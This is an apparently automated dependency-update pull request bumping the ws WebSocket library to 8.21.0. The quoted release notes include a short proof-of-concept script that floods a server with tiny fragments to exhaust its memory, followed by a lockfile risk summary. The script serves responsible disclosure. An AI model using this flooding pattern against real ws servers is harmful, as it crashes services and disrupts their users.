chore(deps-dev): bump ws from 8.20.0 to 8.21.0

[dependabot]

Bumps ws from 8.20.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

Note

Low Risk
Lockfile-only dev dependency patch with no app code changes; the upgrade reduces WebSocket DoS risk for tooling that uses ws.

Overview
Bumps the dev dependency ws from 8.20.0 to 8.21.0 in package-lock.json only (transitive lockfile update).

8.21.0 includes a security fix for a remote memory-exhaustion DoS (peers could send many tiny fragments/chunks to OOM a server or client) and adds optional maxBufferedChunks / maxFragments limits. No application source changes.
